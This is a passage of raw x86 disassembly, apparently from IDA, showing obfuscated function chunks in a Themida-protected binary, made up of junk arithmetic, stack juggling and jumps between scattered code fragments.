; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5A9481:				; CODE XREF: sub_5AB3DC+34Cj
		xor	ax, 36E3h
		mov	cx, ax
		jmp	loc_59F24C
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A948D:				; CODE XREF: sub_5AE6FD-E01Ej
					; Themida_:005A47E1j
		mov	eax, esi
		jmp	loc_5A05B5
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A9494:				; CODE XREF: sub_59D99C-D38j
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp+0Ah+var_C+2]
		pop	esp
		push	edi
		jmp	loc_5A770A
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5A94AA:				; CODE XREF: sub_5A91EC-7F93j
		push	edx
		jmp	loc_5986A0
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_5A94B0:				; CODE XREF: sub_5AB98B-9006j
		shr	esi, 4
		sub	esi, 2DDC047Ah
		jo	loc_5ACE9C
		sub	esi, 66287197h
		mov	edi, esi
		pop	esi
		add	edi, 39161763h
		not	edi
		neg	edi
		add	edi, 6DCA02AEh
		dec	edi
		xor	edi, 16F18BF4h
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		jmp	loc_59A59F
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A94EE:				; CODE XREF: sub_5A8C33-2EBj
		dec	ecx
		push	edi
		jmp	loc_5A9EDD
; END OF FUNCTION CHUNK	FOR sub_5A8C33

; =============== S U B	R O U T	I N E =======================================



sub_5A94F5	proc near		; CODE XREF: sub_59D99C+EB16j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00598227 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059E07A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A1127 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A3BAD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A875A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A8CA6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A9A96 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AA08E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AA9A2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ABD79 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005ACE4A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AF0A9 SIZE 0000000E BYTES

		push	ebx
		sub	[esp-4+arg_0], 65960B32h
		pop	ebp
		add	ebp, 65960B32h
		mov	ebx, [esp+0]
		add	esp, 4
		add	ebp, 7094713Fh
		push	eax
		mov	eax, 523933C4h
		jmp	loc_5A1127
sub_5A94F5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A951E:				; CODE XREF: sub_5A8D43-4838j
		add	[esp-0Ch+arg_C], 3B092AA8h
		jmp	loc_598E3C
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987D8


loc_5A952B:				; CODE XREF: sub_5987D8+E90Fj
		add	ecx, 4
		jmp	loc_599091
; END OF FUNCTION CHUNK	FOR sub_5987D8
; ---------------------------------------------------------------------------


loc_5A9536:				; CODE XREF: Themida_:005A1492j
		mov	ecx, 767070E9h
		sub	ecx, eax
		pop	eax
		xchg	esi, ecx
		not	esi
		xchg	esi, ecx
		and	ecx, 7D877346h
		sub	esp, 4
		jmp	loc_5A23F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A9552:				; CODE XREF: sub_5A1340:loc_59C58Aj
					; sub_59B707:loc_5A15ABj
		add	eax, 0C6EB087Dh
		mov	esi, eax
		jmp	loc_5A53FD
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A955E:				; CODE XREF: sub_5A7343:loc_59E2B9j
		xor	esi, 0E71489Ah
		jmp	loc_59D580
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_5A9569:				; CODE XREF: sub_59D24A-226Cj
					; sub_5A34FD-B9Cj
		sub	bl, ah
		add	bl, 6Fh
		mov	eax, [esp-0Ah+arg_6]
		jmp	loc_5AE6E7
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A346D


loc_5A9576:				; CODE XREF: sub_5A346D+7j
		sub	[esp+4], edi
		pop	edi
		jmp	loc_59FA8A
; END OF FUNCTION CHUNK	FOR sub_5A346D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A10EF


loc_5A9580:				; CODE XREF: sub_5A10EF+12j
		shr	esi, 8
		add	esi, 0FFD7E1F3h
		sub	ebp, 2E697281h
		add	ebp, esi
		push	esi
		mov	esi, 2E697281h
		add	ebp, esi
		pop	esi
		pop	esi
		jmp	sub_5AB88E
; END OF FUNCTION CHUNK	FOR sub_5A10EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CD12


loc_5A95A0:				; CODE XREF: sub_59CD12+6586j
		mov	ebp, [esp+8+var_8]
		jmp	loc_5A92F8
; END OF FUNCTION CHUNK	FOR sub_59CD12
; ---------------------------------------------------------------------------


loc_5A95A8:				; CODE XREF: Themida_:005AE5FFj
		not	eax
		sub	eax, 63F33C83h
		jo	loc_5A5FA1
		push	edi
		mov	edi, 0
		sub	edi, eax
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_5A00F8


loc_5A95C4:				; CODE XREF: sub_5A00F8-36CBj
		pop	eax
		jmp	loc_5A277F
; END OF FUNCTION CHUNK	FOR sub_5A00F8
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0A468240Ch, 8900006Fh, 4768240Ch, 0E900004Fh, 0FFFF1A42h

; =============== S U B	R O U T	I N E =======================================



sub_5A95E0	proc near		; CODE XREF: sub_5A8C33-FCBCj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00598325 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005989B2 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0059A7EC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B4EC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059C9EC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059D516 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059E50B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059FCEF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A0A97 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A2BBC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3308 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A6F37 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A8BBE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AA75C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005ABF5C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005ADB51 SIZE 00000060 BYTES
; FUNCTION CHUNK AT 005AF15B SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		push	ebp
		jmp	loc_5ADB51
sub_5A95E0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A95EC:				; CODE XREF: sub_5A8C33-5D7Fj
		mov	edi, 7D526307h
		sub	edx, edi
		jmp	loc_5AA9AA
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A95F8:				; CODE XREF: sub_5AC95F-7E44j
		push	edx
		mov	edx, 6C735B36h
		xchg	esi, edx
		not	esi
		xchg	esi, edx
		sub	edx, 459E7F85h
		push	eax
		mov	eax, 4C240AE7h
		dec	eax
		jmp	loc_5A9BB8
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A9616:				; CODE XREF: sub_5A8C33-6189j
		mov	edx, esp
		jmp	loc_5AA8A9
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F73C


loc_5A961D:				; CODE XREF: sub_59F73C-2CF7j
		pop	esp
		jmp	loc_598A8B
; END OF FUNCTION CHUNK	FOR sub_59F73C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_5A9623:				; CODE XREF: sub_598D16+8926j
		lodsd
		jmp	loc_5A9703
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACCE


loc_5A9629:				; CODE XREF: sub_59C53B+754Ej
					; sub_59ACCE+FC05j
		shr	edi, 3
		sub	edi, 0FAA0948Bh
		sub	ebp, edi
		jmp	loc_599509
; END OF FUNCTION CHUNK	FOR sub_59ACCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A9639:				; CODE XREF: sub_5A8C33-C3BDj
		inc	ebx
		jmp	loc_5A43D7
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A963F:				; CODE XREF: sub_59D99C-57A8j
		mov	eax, [esp-8+arg_4]
		jmp	loc_5A562C
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A9647:				; CODE XREF: Themida_:005A2858j
		and	[esp], eax
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------


loc_5A9650:				; CODE XREF: Themida_:005A7705j
		mov	ebp, 23A43EA6h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 5C3C3945h
		jmp	loc_5AEF9B
; ---------------------------------------------------------------------------


loc_5A9665:				; CODE XREF: Themida_:0059FF46j
		sub	ebx, 5018F4D4h
		mov	ecx, ebx
		pop	ebx
		and	ecx, 64F80357h
		js	loc_5A4A97
		jmp	loc_59ACD4
; ---------------------------------------------------------------------------


loc_5A967F:				; CODE XREF: Themida_:0059B74Dj
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A9CCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B3CE


loc_5A9688:				; CODE XREF: sub_59B3CE+8j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, 4
		jmp	loc_5A9B45
; END OF FUNCTION CHUNK	FOR sub_59B3CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5A96AB:				; CODE XREF: sub_5AB3DC-11D12j
		pop	ebx
		jmp	loc_5A1448
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A96B1:				; CODE XREF: sub_59D99C+F866j
		mov	esi, 8A20B814h
		sub	ebp, esi
		jmp	loc_5AC48C
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5A96BD:				; CODE XREF: sub_5AC402-B288j
		push	6974h
		jmp	loc_597E6C
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_5A96C7:				; CODE XREF: sub_5A438E+2Ej
		js	loc_59EBB6
		neg	edi
		xor	edi, 8A58CCF0h
		jmp	loc_5A3324
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A96DA:				; CODE XREF: sub_5A600F+2241j
		sub	ebp, 5AD075CCh
		jmp	loc_5AA144
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------


loc_5A96E5:				; CODE XREF: Themida_:005A3915j
		add	esp, 4
		push	edi
		push	3A39h
		mov	[esp], eax
		push	21F7h
		mov	[esp], ecx
		mov	ecx, 790D4D4Ch
		jmp	loc_5AA0CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_5A9703:				; CODE XREF: sub_598D16+1090Ej
		push	esi
		mov	esi, 42E4596Ah
		jmp	loc_59DE2E
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------


loc_5A970E:				; CODE XREF: Themida_:005A1F3Ej
		sub	ebp, 0CA68C414h
		sub	ecx, ebp
		jmp	loc_599D1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B76


loc_5A971B:				; CODE XREF: sub_5A9B76-4926j
		pop	esp
		mov	[esp-8+arg_4], ecx
		push	432B2A74h
		push	[esp-4+arg_0]
		pop	ecx
		jmp	loc_5AD248
; END OF FUNCTION CHUNK	FOR sub_5A9B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A972D:				; CODE XREF: sub_599059+C083j
		push	edi
		jmp	loc_5A6712
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A9733:				; CODE XREF: sub_59CA4A+1086Bj
		add	esp, 4
		add	ebp, esi
		pop	esi
		sub	edx, 7DC775D0h
		push	esi
		push	eax
		mov	eax, 728A5853h
		push	ebx
		jmp	loc_599C7A
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A974C:				; CODE XREF: sub_5AB88E-30A7j
		mov	ecx, edx
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_5A0091
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A9756:				; CODE XREF: sub_597F0C+68C8j
		xchg	ebx, [esp+10h+var_10]
		pop	esp
		mov	ax, word ptr [esp+0Ch+var_C]
		push	edi
		push	esp
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		add	edi, 4
		push	ebp
		jmp	loc_59FCDC
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_5A9775:				; CODE XREF: sub_5AB98B-CD51j
		add	esp, 4
		push	cx
		not	byte ptr [esp+0]
		pop	cx
		shr	cl, 3
		sub	esp, 4
		jmp	loc_5A7871
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A978D:				; CODE XREF: sub_59AD3B+10j
					; sub_59D99C:loc_5A18C3j
		pop	ecx
		add	eax, 2
		jmp	loc_59AB39
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A9798:				; CODE XREF: Themida_:0059C82Cj
		mov	ebx, 604410B7h
		add	esi, ebx
		pop	ebx
		mov	edx, [esp]
		push	ecx
		jmp	loc_59CDEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5A97A9:				; CODE XREF: sub_5A141E-52B3j
		sub	edx, 7833713Ah
		shr	edx, 3
		add	edx, 7A2B6F58h
		add	edx, 0A0C45AD5h
		add	ebx, edx
		pop	edx
		push	ebp
		jmp	loc_5A33F1
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A97C7:				; CODE XREF: sub_5A600F-8694j
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		jmp	loc_59C300
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A97D2:				; CODE XREF: sub_5A8C33:loc_5A4114j
		or	eax, 83512E1h
		jnz	loc_59D240
		sub	eax, 0BE531294h
		jmp	loc_5A5CD8
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
		db 8Ah,	0C9h
		db 8Bh,	0F6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8108


loc_5A97EB:				; CODE XREF: sub_5A8108-EF35j
		push	ecx
		mov	ecx, 5DDB7618h
		add	ebp, ecx
		pop	ecx
		push	eax
		jmp	loc_59CDD5
; END OF FUNCTION CHUNK	FOR sub_5A8108
; ---------------------------------------------------------------------------


loc_5A97FA:				; CODE XREF: Themida_:005AECE9j
		mov	ecx, 4
		sub	dword ptr [esp+4], 161638AAh
		jmp	loc_59B740

; =============== S U B	R O U T	I N E =======================================



sub_5A980C	proc near		; CODE XREF: sub_59AE49+2D96j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059ACA7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A0AB4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A3479 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A695A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A8807 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A8CFF SIZE 00000014 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		jmp	loc_5A3479
sub_5A980C	endp

; ---------------------------------------------------------------------------


loc_5A981A:				; CODE XREF: Themida_:0059DB27j
		pop	esi
		pop	ebp
		add	eax, 1F940550h
		add	eax, 4DC57A0Ah
		add	eax, ecx
		sub	eax, 4DC57A0Ah
		sub	eax, 1F940550h
		jmp	loc_59923C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A03D


loc_5A9837:				; CODE XREF: sub_59A03D+28E6j
		mov	ecx, 22A073D4h
		or	edi, ecx
		pop	ecx
		not	edi
		xor	edi, 0DC269949h
		or	edx, edi
		jmp	loc_5A5F41
; END OF FUNCTION CHUNK	FOR sub_59A03D
; ---------------------------------------------------------------------------


loc_5A984E:				; CODE XREF: Themida_:0059A1C6j
		mov	[esp], ebp
		jmp	loc_5A6D88
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A9856:				; CODE XREF: sub_5AE589-12CEAj
					; sub_5A600F+4A8j
		xchg	edi, [esp+4+var_4]
		jmp	loc_5A8563
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_5A985E:				; CODE XREF: sub_5A438E-222Fj
		push	edx
		mov	edx, 543F78AAh
		jmp	loc_5AB4FC
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EF66


loc_5A9869:				; CODE XREF: sub_59EF66+4CE9j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		and	edx, 4A746444h
		sub	edx, 485B6FD6h
		jno	loc_5A8BAA
		dec	edx
		jz	loc_59BC31
		sub	edx, 0F9BCD029h
		mov	ebx, edx
; END OF FUNCTION CHUNK	FOR sub_59EF66

; =============== S U B	R O U T	I N E =======================================



sub_5A989A	proc near		; CODE XREF: sub_5A3B73+1E73j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059BBE9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059FD40 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A140B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A68AF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A6E1F SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_59FD40
sub_5A989A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5A98B0:				; CODE XREF: sub_598D67+A2B3j
		sub	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edx
		jmp	loc_5A30AD
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A98BF:				; CODE XREF: sub_5A8C33-E1B9j
		add	eax, 9CF20EE5h
		mov	ecx, eax
		pop	eax
		sub	[esp-8+arg_C], ecx
		pop	ecx
		add	[esp-0Ch+arg_C], 26F5090Ch
		push	ebp
		mov	ebp, 4065555Fh
		add	[esp-8+arg_C], 671F425Eh
		add	[esp-8+arg_C], ebp
		jmp	loc_5A1642
; END OF FUNCTION CHUNK	FOR sub_5A8C33

; =============== S U B	R O U T	I N E =======================================



sub_5A98EB	proc near		; CODE XREF: sub_5A05FB+2Ej

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059AA46 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059FAA6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6E93 SIZE 0000001A BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		jmp	loc_5A6E93
sub_5A98EB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A9900:				; CODE XREF: sub_5A8D43-62Bj
		sub	dl, 0F6h
		sub	bl, dl
		jmp	loc_59E2C5
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A990A:				; CODE XREF: sub_59D99C+52B2j
		sub	ecx, 2
		xchg	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	word ptr [esp+4+var_4],	dx
		push	ax
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------


loc_5A9922:				; CODE XREF: sub_59D99C+8A84j
					; sub_5A0F44+D8AAj
		push	eax
		jmp	loc_5A847B
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A9928:				; CODE XREF: sub_5A8C33:loc_59CE62j
		or	edi, 35034610h
		sub	edi, 0FDEFC7D4h
		jmp	loc_5A1779
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5A9939:				; CODE XREF: Themida_:005A6C6Aj
		push	ebp
		mov	ebp, 221B526Bh
		jmp	loc_59F0D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A9944:				; CODE XREF: sub_5A7343-9D6Cj
		add	esi, 1
		shl	esi, 3
		dec	esi
		inc	esi
		dec	esi
		add	esi, 510AABFBh
		push	ebp
		mov	ebp, esi
		mov	ebx, ebp
		pop	ebp
		mov	esi, [esp+8+var_8]
		add	esp, 4
		add	edi, ebx
		jmp	loc_5A4F29
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDCC


loc_5A9969:				; CODE XREF: sub_5ADDCC-159F5j
		push	esi
		mov	esi, 97801F7h
		add	[esp+4], esi
		pop	esi
		sub	dword ptr [esp+0], 11DC54B8h
		jmp	loc_59FC59
; END OF FUNCTION CHUNK	FOR sub_5ADDCC
; ---------------------------------------------------------------------------


loc_5A9980:				; CODE XREF: Themida_:005A435Dj
					; Themida_:005A679Fj
		xor	ecx, 995CC3E3h
		add	ebp, ecx
		jmp	loc_5A828B
; ---------------------------------------------------------------------------


loc_5A998D:				; CODE XREF: Themida_:005A361Aj
		shl	edi, 7
		push	ebp
		mov	ebp, 20807Ch
		sub	edi, ebp
		pop	ebp
		add	eax, edi
		pop	edi
		push	edi
		jmp	loc_59AF7D
; ---------------------------------------------------------------------------


loc_5A99A2:				; CODE XREF: Themida_:0059C889j
		push	esi
		jmp	loc_5A029A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A99A8:				; CODE XREF: sub_5A8D43-6C42j
		jmp	loc_598124
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A99AD:				; CODE XREF: sub_5A3F42-320Fj
					; sub_59D99C+10414j
		pop	ebx
		add	esi, ecx
		jmp	loc_5AE9DF
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A99B5:				; CODE XREF: sub_5A8D43-10893j
		xchg	eax, ebp
		sub	ebp, 538C5F27h
		add	ebp, 86C4B82h
		jmp	loc_5A0FDA
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5A99C7:				; CODE XREF: sub_59D7E7+7BFDj
		push	528Ch
		mov	[esp-4+arg_0], eax
		jmp	loc_59C8C1
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1ED0


loc_5A99D4:				; CODE XREF: sub_5A1ED0-71A2j
		add	dword ptr [esp+4], 1B05223Dh
		sub	dword ptr [esp+4], 7F78086Bh
		mov	ebx, [esp-8+arg_4]
		add	esp, 4
		mov	eax, [esp+0]
		sub	esp, 4
		mov	[esp-8+arg_4], edx
		mov	edx, esp
		jmp	loc_599406
; END OF FUNCTION CHUNK	FOR sub_5A1ED0

; =============== S U B	R O U T	I N E =======================================



sub_5A99FA	proc near		; CODE XREF: sub_5AB0CE+381j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00598F2E SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005A754D SIZE 00000012 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	dword ptr [esp+4]
		mov	eax, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		push	47B2h
		mov	[esp-4+arg_0], ebp
		push	edi
		push	esp
		pop	edi
		push	eax
		jmp	loc_598F2E
sub_5A99FA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598462


loc_5A9A24:				; CODE XREF: sub_598462+1j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 2
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp+8+var_8]
		jmp	loc_59B2FC
; END OF FUNCTION CHUNK	FOR sub_598462
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A36E3


loc_5A9A40:				; CODE XREF: sub_5A36E3+1A56j
		mov	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 546E522Dh
		add	ecx, ebp
		pop	ebp
		jmp	loc_5A8F9A
; END OF FUNCTION CHUNK	FOR sub_5A36E3
; ---------------------------------------------------------------------------


loc_5A9A51:				; CODE XREF: Themida_:005A552Cj
		push	edi
		not	dword ptr [esp]
		pop	edi
		xchg	edi, [esp]
		pop	ecx
		jmp	loc_598781
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A9A5F:				; CODE XREF: sub_5986D6+10181j
		js	loc_5A6FEB
		dec	ebx
		jp	loc_5ABB8E
		mov	ah, 0CEh
		push	ebp
; END OF FUNCTION CHUNK	FOR sub_5986D6
; START	OF FUNCTION CHUNK FOR sub_598936


loc_5A9A6F:				; CODE XREF: sub_598936+Cj
		pop	eax
		push	ecx
		sub	esp, 4
		push	7766h
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		jmp	loc_59BD45
; END OF FUNCTION CHUNK	FOR sub_598936
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A9A88:				; CODE XREF: sub_5AEE2E-1264Bj
		push	edi
		mov	edi, 2
		push	edx
		push	edi
		pop	edx
		jmp	loc_59E869
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A94F5


loc_5A9A96:				; CODE XREF: sub_5A94F5-5945j
		mov	eax, ebp
		mov	ebx, eax
		pop	eax
		jmp	loc_59E07A
; END OF FUNCTION CHUNK	FOR sub_5A94F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5A9AA0:				; CODE XREF: sub_59ACEC+C85Cj
		pop	ebp
		add	edx, 221616h
		add	edx, ecx
		jmp	loc_5A1618
; END OF FUNCTION CHUNK	FOR sub_59ACEC
